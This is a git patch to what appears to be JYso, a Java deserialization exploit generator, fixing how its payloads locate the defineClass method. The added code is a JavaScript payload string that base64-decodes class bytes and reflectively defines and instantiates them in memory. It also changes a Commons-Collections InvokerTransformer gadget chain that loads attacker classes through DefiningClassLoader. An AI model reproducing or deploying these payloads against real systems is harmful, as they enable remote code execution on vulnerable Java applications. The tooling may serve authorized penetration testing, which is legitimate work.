From 27570c23adf32aee4de92d9d879a21fc8460945e Mon Sep 17 00:00:00 2001
From: misaka <gongjl09@chinatelecom.cn>
Date: Tue, 10 Jun 2025 16:19:22 +0800
Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=9C=A8=E7=89=B9=E5=AE=9A?=
 =?UTF-8?q?=E7=8E=AF=E5=A2=83=E4=B8=8BJSEngine=E6=97=A0=E6=B3=95=E8=8E=B7?=
 =?UTF-8?q?=E5=8F=96=E5=88=B0defineClass=E7=9A=84bug?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 build.gradle                                                    | 2 +-
 src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java            | 2 +-
 .../java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java    | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/build.gradle b/build.gradle
index fdd49d8..28fb8f0 100644
--- a/build.gradle
+++ b/build.gradle
@@ -145,5 +145,5 @@ tasks.withType(Javadoc) {
 compileJava {
     options.compilerArgs << '-XDignore.symbol.file'
     options.fork = true
-    options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
+    options.forkOptions.executable = System.getenv("JAVA_HOME") + "\\bin\\javac.exe"
 }
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java
index b4cd137..0e85c09 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java
@@ -104,7 +104,7 @@ public class Utils {
         if (USING_RHINO) {
             return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();";
         } else {
-            return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();";
+            return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cl= java.lang.Thread.currentThread().getContextClassLoader();var clClass = cl.getClass();var defineClassMethod = null;while (clClass != null) {try {defineClassMethod = clClass.getDeclaredMethod(\"defineClass\", dataBytes.getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);break;} catch (e) {clClass = clClass.getSuperclass();}}if (defineClassMethod != null) {var memClass = defineClassMethod.invoke(cl, dataBytes, 0, dataBytes.length);memClass.newInstance();} else {throw \"Cannot find defineClass method.\";}";
         }
     }
 
diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
index 6f07a21..b7eb349 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
@@ -59,7 +59,7 @@ public class TransformerUtil {
         } else if (command.startsWith("EX-") || command.startsWith("LF-")) {
             CtClass ctClass = generateClass(command);
 
-            if (!USING_MOZILLA_DEFININGCLASSLOADER) {
+            if (USING_MOZILLA_DEFININGCLASSLOADER) {
                 // 使用 DefiningClassLoader 加载，不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
                 // 在 NC 中可以使用
                 transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};